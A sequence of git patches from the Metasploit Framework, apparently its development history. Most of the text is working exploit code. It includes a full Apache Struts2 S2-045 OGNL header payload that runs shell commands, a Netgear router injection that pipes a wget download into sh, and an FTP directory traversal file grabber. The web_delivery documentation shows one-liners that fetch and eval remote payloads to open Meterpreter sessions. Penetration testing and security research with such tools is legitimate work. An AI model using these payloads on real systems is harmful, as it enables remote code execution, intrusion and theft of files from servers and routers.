[PATCH 327/426] struts2_s2045_rce.rb --- .../exploits/multi/http/struts2_s2045_rce.rb | 89 +++++++++++++++++++ 1 file changed, 89 insertions(+) create mode 100644 modules/exploits/multi/http/struts2_s2045_rce.rb diff --git a/modules/exploits/multi/http/struts2_s2045_rce.rb b/modules/exploits/multi/http/struts2_s2045_rce.rb new file mode 100644 index 0000000000..e81bcde71a --- /dev/null +++ b/modules/exploits/multi/http/struts2_s2045_rce.rb @@ -0,0 +1,89 @@ + + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient + + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Struts2 S2-045 Remote Code Execution Exploit(CVE-2017-5638)', + 'Description' => %q{ + It is possible to perform a RCE attack with a malicious Content-Type value.If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.Discoverd By Nike.Zheng. + }, + 'Author' => [ 'MSF Module: Chorder(http://chorder.net)'], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2017-5638'] + ], + 'Privileged' => true, + 'Platform' => %w{ linux win }, + 'Arch' => 'x86', + 'DefaultOptions' =>{ + 'CMD' => 'whoami' + }, + 'Targets' => + [ + ['Windows Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'CmdStagerFlavor' => 'tftp' + } + ], + ['Linux Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Mar 06 2017')) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('URI', [ true, 'The path to a struts application action ie. /struts2.action', ""]), + OptString.new('CMD', [ true, 'Execute this command instead of using command stager', "" ]) + ], self.class) + end + + + def execute_command(cmd, opts = {}) + uri = normalize_uri( datastore['URI'] ) + headers ={ + "Content-Type"=>"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+cmd+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" + } + data = '----------1529557865\r\n\Content-Disposition: form-data; name="file"; filename="test.txt"\r\n\000' + print_status("Target URI: #{uri}") + print_status("Attempting to execute: #{cmd}") + + resp = send_request_raw({ + 'host' => rhost, + 'port' => rport, + 'uri' => uri, + 'version' => '1.1', + 'method' => 'POST', + 'headers' => headers, + 'data' => data, + }, 5) + print_status( resp.body ) + end + + + + def exploit + unless datastore['CMD'].blank? + print_status("Executing Command...") + execute_command(datastore['CMD']) + return + end + handler + + end + +end From c5fb69bd891cbd4dc5f54147bf57784574772e2d Mon Sep 17 00:00:00 2001 From: root Date: Wed, 8 Mar 2017 14:26:33 +0800 Subject: [PATCH 328/426] Struts2 S2-045 Exploit 2017/03/08 --- .../exploits/multi/http/struts2_s2045_rce.rb | 147 ++++++++---------- 1 file changed, 67 insertions(+), 80 deletions(-) diff --git a/modules/exploits/multi/http/struts2_s2045_rce.rb b/modules/exploits/multi/http/struts2_s2045_rce.rb index e81bcde71a..5239aa0728 100644 --- a/modules/exploits/multi/http/struts2_s2045_rce.rb +++ b/modules/exploits/multi/http/struts2_s2045_rce.rb @@ -1,89 +1,76 @@ - - require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Apache Struts2 S2-045 Remote Code Execution Exploit(CVE-2017-5638)', - 'Description' => %q{ - It is possible to perform a RCE attack with a malicious Content-Type value.If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.Discoverd By Nike.Zheng. - }, - 'Author' => [ 'MSF Module: Chorder(http://chorder.net)'], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'CVE', '2017-5638'] - ], - 'Privileged' => true, - 'Platform' => %w{ linux win }, - 'Arch' => 'x86', - 'DefaultOptions' =>{ - 'CMD' => 'whoami' - }, - 'Targets' => - [ - ['Windows Universal', - { - 'Arch' => ARCH_X86, - 'Platform' => 'win', - 'CmdStagerFlavor' => 'tftp' - } - ], - ['Linux Universal', - { - 'Arch' => ARCH_X86, - 'Platform' => 'linux' - } - ], - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Mar 06 2017')) - - register_options( - [ - Opt::RPORT(8080), - OptString.new('URI', [ true, 'The path to a struts application action ie. /struts2.action', ""]), - OptString.new('CMD', [ true, 'Execute this command instead of using command stager', "" ]) - ], self.class) - end - - - def execute_command(cmd, opts = {}) - uri = normalize_uri( datastore['URI'] ) - headers ={ - "Content-Type"=>"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+cmd+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" - } - data = '----------1529557865\r\n\Content-Disposition: form-data; name="file"; filename="test.txt"\r\n\000' - print_status("Target URI: #{uri}") - print_status("Attempting to execute: #{cmd}") - - resp = send_request_raw({ - 'host' => rhost, - 'port' => rport, - 'uri' => uri, - 'version' => '1.1', - 'method' => 'POST', - 'headers' => headers, - 'data' => data, - }, 5) - print_status( resp.body ) - end - - - - def exploit - unless datastore['CMD'].blank? - print_status("Executing Command...") - execute_command(datastore['CMD']) - return + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Struts2 S2-045 Remote Code Execution Exploit(CVE-2017-5638)', + 'Description' => %q{It is possible to perform a RCE attack with a malicious Content-Type value.If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.Discoverd by Nike.Zheng. + }, + 'Author' => [ 'Exploit: Nike.Zheng','MSF Module: Chorder(http://chorder.net)'], + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2017-5638'] ], + 'Privileged' => true, + 'Platform' => %w{ linux win }, + 'Arch' => 'x86', + 'DefaultOptions' =>{ + 'CMD' => 'whoami' + }, + 'Targets' =>[ + ['Windows Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'CmdStagerFlavor' => 'tftp' + } + ], + ['Linux Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Mar 06 2017')) + register_options( + [ + Opt::RPORT(8080), + OptString.new('URI', [ true, 'The path to a struts application action ie. /struts2.action', ""]), + OptString.new('CMD', [ true, 'Execute this command instead of using command stager', "" ]) + ], self.class) end - handler - - end + + def execute_command(cmd, opts = {}) + uri = normalize_uri( datastore['URI'] ) + headers ={ + "Content-Type"=>"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+cmd+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" + } + data = '----------1529557865\r\n\Content-Disposition: form-data; name="file"; filename="test.txt"\r\n\000' + print_status("Target URI: #{uri}") + print_status("Attempting to execute: #{cmd}") + + resp = send_request_raw({ + 'host' => rhost, + 'port' => rport, + 'uri' => uri, + 'version' => '1.1', + 'method' => 'POST', + 'headers' => headers, + 'data' => data, + }, 5) + print_status( resp.body ) + end + + def exploit + unless datastore['CMD'].blank? + print_status("Executing Command...") + execute_command(datastore['CMD']) + return + end + handler + end end From 3820de67c3bd8029d0fe0c13aa8d2b87c96704ee Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Wed, 8 Mar 2017 05:33:44 -0500 Subject: [PATCH 329/426] style consistency, simplifications, and clarifications --- .../exploit/multi/script/web_delivery.md | 67 ++++++++----------- 1 file changed, 29 insertions(+), 38 deletions(-) diff --git a/documentation/modules/exploit/multi/script/web_delivery.md b/documentation/modules/exploit/multi/script/web_delivery.md index a1c82d3f27..a9bcc15013 100644 --- a/documentation/modules/exploit/multi/script/web_delivery.md +++ b/documentation/modules/exploit/multi/script/web_delivery.md @@ -1,16 +1,13 @@ -As a web server, the web_delivery module provides a stealthy way to deliver a payload during post exploitation because the payload does not touch the disk. +The web_delivery module provides a stealthy way to deliver a payload during post exploitation over HTTP or HTTPS. Because the payload does not touch the disk, it can easily bypass many anti-virus protections. -Currently, web_delivery supports three different languages for delivery: Python, PHP, and -Powershell. You should be able to tell which one you can use based on the target environment -you are in. +The web_delivery module supports three different languages for delivery: Python, PHP, and +Powershell. You should manually select the correct target based on the victim environment you are exploiting. -For example, if you gained access through a PHP application, it's safe to assume you can use PHP. If you're in a Windows server, such as Windows Server 2008, then it's probably safe to say the target supports Powershell. +For example, if you have gained remote access through a PHP application, it is likely you can use PHP. If you are in a modern Windows server environment, then you can usually assume the target supports Powershell as well. ## Verification Steps -To be able to use the web_delivery module, you must gain access to the target machine first, with the ability to execute either the Python, or PHP, or Powershell interpreter. - -At that point, you would use the web_delivery module like in the following example: +To use the web_delivery module, you must first gain access to the target host and be able to execute either a Python, PHP, or Powershell interpreter. Then, follow these steps to proceed with exploitation: 1. Start msfconsole 2. Run: ```use exploit/multi/script/web_delivery``` @@ -20,56 +17,50 @@ At that point, you would use the web_delivery module like in the following examp 6. Do: ```run``` 7. At this point, a handler is up for that payload, and the module should instruct you to execute a command. 8. Copy the command. Depending on your pentesting scenario, you can either inject the - command and get code execution, or run it from the target's shell and get a session: + command into a vulnerable application, or run it from the target's shell and get a session: ``` msf exploit(web_delivery) > run [*] Exploit running as background job. -[*] Started reverse TCP handler on 172.16.23.1:4444 +[*] Started reverse TCP handler on 192.168.2.1:4444 msf exploit(web_delivery) > [*] Using URL: http://0.0.0.0:8080/z5inGkwCCQiz9 [*] Local IP: http://10.6.0.86:8080/z5inGkwCCQiz9 [*] Server started. [*] Run the following command on the target machine: -php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.16.23.1:8080/z5inGkwCCQiz9'));" +php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.1:8080/z5inGkwCCQiz9'));" [*] Delivering Payload -[*] Sending stage (33684 bytes) to 172.16.23.134 -[*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.134:41684) at 2016-03-02 11:41:34 -0600 +[*] Sending stage (33684 bytes) to 192.168.2.134 +[*] Meterpreter session 1 opened (192.168.2.1:4444 -> 192.168.2.134:41684) at 2016-03-02 11:41:34 -0600 ``` ## Targets **Python** -Python is a fairly popular language, especially on Unix-based systems. By default, it has come with Ubuntu Linux since 8.04, as well as Debian, and Mac OS X since 10.3. +Python is a popular language, especially on Unix-based systems. It has shipped by default with Ubuntu Linux since version 8.04, Mac OS X since version 10.3, and is widely available on other systems as well. **PHP** -PHP is a fairly popular language for web servers, especially Apache. +PHP is often found on web servers, especially in shared hosting environments. It is the basis for popular web applications such as WordPress, Joomla, and Drupal. **Powershell/Windows** -Powershell is a popular language for newer Windows systems. Windows 7 and Windows Server 2008 R2 -are the first Windows versions to come with Powershell by default. Older Windows systems such as XP -don't come with it by default, but it is still possible to see it installed on a corporate network. +Powershell is a popular language on modern Windows systems, largely replacing batch files and Windows Scripting Host for Windows automation. Windows 7 and Windows Server 2008 R2 were the first versions to come with Powershell by default. Older Windows systems, such as XP and Server 2003, can still have it installed as an optional component. ## Scenarios **Against a compromised web application** -web_delivery would work nicely for a web application with a command execution vulnerability. - -One way to approach this would be: +web_delivery works nicely against a web application with a command execution vulnerability. One way to approach this would be: 1. Start exploit/multi/script/web_delivery 2. Use [Burp Suite](https://portswigger.net/burp/) to intercept the HTTP/HTTPS request, place the command in the parameter that results in arbitrary code execution. -3. Hopefully the modified HTTP/HTTPS request is successful, and you should get a session. +3. If the modified HTTP/HTTPS request is successful, you should get a session. **Shell upgrade** -web_delivery is also useful to upgrade a shell type payload to a Meterpreter one. - -Here's how that can be done: +web_delivery is also useful to upgrade a shell type payload to a Meterpreter one. Here's how that can be done: 1. Start `exploit/multi/script/web_delivery` that generates the command to inject. 2. Interact with the shell, and copy/paste the command. @@ -93,13 +84,13 @@ msf auxiliary(ssh_login) > run [*] Command shell session 1 opened (192.168.2.117:35219 -> 192.168.2.156:22) at 2017-03-05 19:57:53 -0500 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf auxiliary(ssh_login) > use exploit/multi/script/web_delivery +msf auxiliary(ssh_login) > use exploit/multi/script/web_delivery msf exploit(web_delivery) > set lhost 192.168.2.117 lhost => 192.168.2.117 msf exploit(web_delivery) > run [*] Exploit running as background job. -[*] Started reverse TCP handler on 192.168.2.117:4444 +[*] Started reverse TCP handler on 192.168.2.117:4444 [*] Using URL: http://0.0.0.0:8080/DovbvqRaB [*] Local IP: http://192.168.2.117:8080/DovbvqRaB [*] Server started. @@ -115,7 +106,7 @@ python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/Dovbvq ^Z Background session 1? [y/N] y - + msf exploit(web_delivery) > sessions -i 2 [*] Starting interaction with 2... @@ -124,18 +115,18 @@ Computer : Ubuntu14 OS : Linux 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 Architecture : x64 Meterpreter : python/linux -meterpreter > +meterpreter > ``` ## Vulnerable Pages ### Perl cgi -These instructions will create a cgi environment and a vulnerable perl application for exploitation. Kali rolling (2016.2) was utilized for this tutorial. +These instructions will create a cgi environment and a vulnerable perl application for exploitation. We used Kali rolling (2016.2) for this tutorial. #### Setup -In this example we make a `post` form that pings a user provided IP, which is a typical funtion on many routers and is often abused a similar manner. +In this example, we make a `post` form that pings a user provided IP, which is a typical funtion on many routers and is often abused a similar manner. 1. Enable cgi: `a2enmod cgid` 2. `mkdir /var/www/cgi-bin` @@ -200,7 +191,7 @@ www-data ``` [*] Exploit running as background job. -[*] Started reverse TCP handler on 192.168.2.117:4444 +[*] Started reverse TCP handler on 192.168.2.117:4444 [*] Using URL: http://0.0.0.0:8080/vNPlsjE [*] Local IP: http://192.168.2.117:8080/vNPlsjE [*] Server started. @@ -220,7 +211,7 @@ or we can exploit via curl after escaping the double quotes. Note we use `--dat msf exploit(web_delivery) > exploit [*] Exploit running as background job. -[*] Started reverse TCP handler on 192.168.2.117:4444 +[*] Started reverse TCP handler on 192.168.2.117:4444 [*] Using URL: http://0.0.0.0:8080/OKNzr8B59zWp [*] Local IP: http://192.168.2.117:8080/OKNzr8B59zWp [*] Server started. @@ -257,10 +248,10 @@ In this example we make a `post` form that pings a user provided IP, which is a ``` - "); - } + } print("
exploit [*] Exploit running as background job. -[*] Started reverse TCP handler on 192.168.2.117:4444 +[*] Started reverse TCP handler on 192.168.2.117:4444 [*] Using URL: http://0.0.0.0:8080/OKNzr8B59zWp [*] Local IP: http://192.168.2.117:8080/OKNzr8B59zWp [*] Server started. @@ -341,4 +332,4 @@ msf exploit(web_delivery) > curl -X POST http://127.0.0.1/cgi-bin/example.pl --d [*] Sending stage (33986 bytes) to 192.168.2.117 [*] Meterpreter session 3 opened (192.168.2.117:4444 -> 192.168.2.117:48144) at 2017-03-04 15:39:05 -0500 100 1132 0 971 100 161 440 73 0:00:02 0:00:02 --:--:-- 440^CInterrupt: use the 'exit' command to quit -``` \ No newline at end of file +``` From 0f899fdb0bddb93dd44bc13b8d52d73d00edcb33 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 1 Mar 2017 02:09:50 -0600 Subject: [PATCH 330/426] Convert ARCH_CMD to CmdStager --- .../linux/http/netgear_r7000_cgibin_exec.rb | 60 ++++++++++--------- 1 file changed, 33 insertions(+), 27 deletions(-) diff --git a/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb index 60f506a603..f32250d59c 100644 --- a/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb +++ b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb @@ -6,9 +6,11 @@ require 'msf/core' class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -18,11 +20,11 @@ class MetasploitModule < Msf::Exploit::Remote Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier. }, 'License' => MSF_LICENSE, - 'Platform' => 'unix', + 'Platform' => 'linux', 'Author' => ['thecarterb', 'Acew0rm'], 'DefaultTarget' => 0, - 'Privileged' => false, - 'Arch' => [ARCH_CMD], + 'Privileged' => true, + 'Arch' => ARCH_ARMLE, 'Targets' => [ [ 'Automatic Target', { } ] ], @@ -35,20 +37,19 @@ class MetasploitModule < Msf::Exploit::Remote [ 'CVE', '2016-6277'] ], 'DisclosureDate' => 'Dec 06 2016', - 'Payload' => + 'DefaultOptions' => { - 'Space' => 1024, - 'DisableNops' => true, - 'BadChars' => "\x20" - }, - 'DefaultOptions' => { 'WfsDelay' => 10} + 'PAYLOAD' => 'linux/armle/mettle_reverse_tcp' + } )) register_options( [ Opt::RPORT(80) ], self.class) - end + + deregister_options('URIPATH') + end def scrape(text, start_trig, end_trig) text[/#{start_trig}(.*?)#{end_trig}/m, 1] @@ -80,24 +81,29 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - check + return if check == CheckCode::Safe - pe = payload.encoded - pe.to_s - pe.gsub!('{','') - pe.gsub!('}','') - - #cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join - #str = "echo$IFS-ne$IFS\"#{cmd}\"|/bin/sh&" - - print_status('Sending encoded command...') - vprint_status("Encoded command: #{pe}") - send_request_cgi({ - 'uri' => "/cgi-bin/;#{pe}", - 'method' => 'GET' - }) - - print_status('Giving the handler time to run...') + @cmdstager = generate_cmdstager(flavor: :wget).join(';') + send_request_cgi( + 'method' => 'GET', + 'uri' => "/cgi-bin/;wget$IFS-O-$IFS'#{srvhost_addr}:#{srvport}'|sh" + ) end + + # Return CmdStager on first request, payload on second + def on_request_uri(cli, request) + if @cmdstager + send_response(cli, @cmdstager) + @cmdstager = nil + else + super + end + end + + # XXX: This is the only way to force this resource + def resource_uri + '/' + end + end From c52b0cba5efc2bec29017c35fb86aa319b1f5a2d Mon Sep 17 00:00:00 2001 From: = <=> Date: Wed, 8 Mar 2017 20:58:01 +0530 Subject: [PATCH 331/426] msftidy error on master updated --- lib/msf/core/handler/reverse.rb | 5 +---- modules/exploits/linux/http/mvpower_dvr_shell_exec.rb | 2 -- modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb | 1 - modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb | 2 -- modules/exploits/linux/local/service_persistence.rb | 2 +- 5 files changed, 2 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index 4441c0babe..7d9b496c55 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -48,8 +48,6 @@ module Msf addrs end - - # @return [Integer] def bind_port @@ -84,13 +82,12 @@ module Msf 'MsfPayload' => self, 'MsfExploit' => assoc_exploit }) - - rescue ex = $! print_error("Handler failed to bind to #{ip}:#{local_port}:- #{comm} -") else ex = false + via = via_string_for_ip(ip, comm) print_status("Started #{human_name} handler on #{ip}:#{local_port} #{via}") diff --git a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb index 7a07825471..44154f54df 100644 --- a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb +++ b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb @@ -60,7 +60,6 @@ class MetasploitModule < Msf::Exploit::Remote begin fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6) res = send_request_cgi( -'method' => 'GET', 'uri' => "/shell?echo+#{fingerprint}", 'headers' => { 'Connection' => 'Keep-Alive' } ) @@ -76,7 +75,6 @@ class MetasploitModule < Msf::Exploit::Remote def execute_command(cmd, opts) begin send_request_cgi( -'method' => 'GET', 'uri' => "/shell?#{Rex::Text.uri_encode(cmd, 'hex-all')}", 'headers' => { 'Connection' => 'Keep-Alive' } ) diff --git a/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb b/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb index 04bf8cae15..59f6704439 100644 --- a/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb +++ b/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb @@ -104,7 +104,6 @@ class MetasploitModule < Msf::Exploit::Remote def check begin res = send_request_cgi({ -'method' => 'GET', 'uri' => '/globe' # TODO: Check this? Why not /UD/act?1 }) rescue ::Rex::ConnectionError diff --git a/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb b/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb index 67d7bbe963..ef0b02f918 100644 --- a/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb +++ b/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb @@ -60,7 +60,6 @@ class MetasploitModule < Msf::Exploit::Remote def check res = send_request_cgi!({ - 'uri' => '/js/Multi_Language.js', 'method' => 'GET' }) @@ -99,7 +98,6 @@ class MetasploitModule < Msf::Exploit::Remote @cookie = rand_text_alpha_lower(7) res = send_request_cgi({ -'method' => 'GET', 'uri' => '/cgi-bin/index.asp?' + Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}"), 'method' => 'POST', 'cookie' => "SESSIONID=#{@cookie}", diff --git a/modules/exploits/linux/local/service_persistence.rb b/modules/exploits/linux/local/service_persistence.rb index 06c2d9e0b0..fab292e3bf 100644 --- a/modules/exploits/linux/local/service_persistence.rb +++ b/modules/exploits/linux/local/service_persistence.rb @@ -204,7 +204,7 @@ case \"$1\" in else echo \"Starting $name\" cd \"$dir\"} -#Check this block @itsmeroy2012 + if has_updatercd script << " sudo $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n" else # CentOS didn't like sudo or su... From 9a1e0518fe5ef323b9db87a80570d607ea4b2f77 Mon Sep 17 00:00:00 2001 From: = <=> Date: Wed, 8 Mar 2017 21:05:23 +0530 Subject: [PATCH 332/426] Cleaning code --- lib/msf/core/handler/reverse.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index 7d9b496c55..9f9db23e88 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -87,7 +87,6 @@ module Msf print_error("Handler failed to bind to #{ip}:#{local_port}:- #{comm} -") else ex = false - via = via_string_for_ip(ip, comm) print_status("Started #{human_name} handler on #{ip}:#{local_port} #{via}") From d9727d991fb2e0156d5fd6b16dc761a6554e1163 Mon Sep 17 00:00:00 2001 From: = <=> Date: Wed, 8 Mar 2017 21:10:46 +0530 Subject: [PATCH 333/426] Cleaning code --- lib/msf/core/handler/reverse.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index 9f9db23e88..7d9b496c55 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -87,6 +87,7 @@ module Msf print_error("Handler failed to bind to #{ip}:#{local_port}:- #{comm} -") else ex = false + via = via_string_for_ip(ip, comm) print_status("Started #{human_name} handler on #{ip}:#{local_port} #{via}") From bca387eeebf9b13393b366c6740df9013d2a2375 Mon Sep 17 00:00:00 2001 From: Ahmed Elhady Mohamed Date: Wed, 8 Mar 2017 17:51:27 +0200 Subject: [PATCH 334/426] add a test.txt file for testing --- test.txt | 1 + 1 file changed, 1 insertion(+) create mode 100644 test.txt diff --git a/test.txt b/test.txt new file mode 100644 index 0000000000..63fc8131d5 --- /dev/null +++ b/test.txt @@ -0,0 +1 @@ +xxxx From 25b78f883ba52f775023e8b833a2370eb8ddf09e Mon Sep 17 00:00:00 2001 From: Ahmed Elhady Mohamed Date: Wed, 8 Mar 2017 17:54:36 +0200 Subject: [PATCH 335/426] delete a test.txt file for testing --- test.txt | 1 - 1 file changed, 1 deletion(-) delete mode 100644 test.txt diff --git a/test.txt b/test.txt deleted file mode 100644 index 63fc8131d5..0000000000 --- a/test.txt +++ /dev/null @@ -1 +0,0 @@ -xxxx From 183be81ba8d3e6ab66b210174eb5506417cd1a6c Mon Sep 17 00:00:00 2001 From: Ahmed Elhady Mohamed Date: Wed, 8 Mar 2017 17:59:27 +0200 Subject: [PATCH 336/426] Easy File Sharing FTP Server Directory Traversal --- .../scanner/ftp/easy_file_sharing_ftp.rb | 112 ++++++++++++++++++ 1 file changed, 112 insertions(+) create mode 100644 modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb diff --git a/modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb b/modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb new file mode 100644 index 0000000000..edbb40b3de --- /dev/null +++ b/modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb @@ -0,0 +1,112 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::Ftp + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Easy File Sharing FTP Server Version 3.6 and Earlier Directory Traversal Information Disclosure', + 'Description' => %q{ + This module exploits a directory traversal vulnerability found in Easy File Sharing FTP Server Version 3.6 and Earlier. + This vulnerability allows an attacker to download arbitrary files from the server by crafting + a RETR command that includes file system traversal strings such as '../' + }, + 'Platform' => 'win', + 'Author' => + [ + 'Ahmed Elhady Mohamed' # @kingasmk ahmed.elhady.mohamed[at]gmail.com + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2017-6510'] + ], + 'DisclosureDate' => 'Mar 07 2017' + )) + + register_options( + [ + OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]), + OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini']) + ], self.class) + end + + def check_host(ip) + begin + connect + if /Easy File Sharing FTP Server/i === banner + return Exploit::CheckCode::Appears + end + ensure + disconnect + end + + Exploit::CheckCode::Safe + end + + def run_host(target_host) + begin + # Login anonymously and open the socket that we'll use for data retrieval. + connect_login + sock = data_connect + if sock.nil? + error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response' + print_status(error_msg) + elog(error_msg) + else + file_path = datastore['PATH'] + file = ::File.basename(file_path) + + # make RETR request and store server response message... + retr_cmd = ( "../" * datastore['DEPTH'] ) + "#{file_path}" + res = send_cmd( ["RETR", retr_cmd]) + + # read the file data from the socket that we opened + # dont assume theres still a sock to read from. Per #7582 + if sock.nil? + error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response' + print_status(error_msg) + elog(error_msg) + return + else + # read the file data from the socket that we opened + response_data = sock.read(1024) + end + + unless response_data + print_error("#{file_path} not found") + return + end + + if response_data.length == 0 or ! (res =~ /^150/ ) + print_status("File (#{file_path})from #{peer} is empty...") + return + end + + # store file data to loot + loot_file = store_loot("easy.file.sharing.ftp.data", "text", rhost, response_data, file, file_path) + vprint_status("Data returned:\n") + vprint_line(response_data) + print_good("Stored #{file_path} to #{loot_file}") + end + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e + vprint_error(e.message) + elog("#{e.class} #{e.message} #{e.backtrace * "\n"}") + rescue ::Timeout::Error, ::Errno::EPIPE => e + vprint_error(e.message) + elog("#{e.class} #{e.message} #{e.backtrace * "\n"}") + ensure + data_disconnect + disconnect + end + end +end From ed22902fd4c5921315ca26ace03877d3740e7dda Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 8 Mar 2017 11:40:08 -0600 Subject: [PATCH 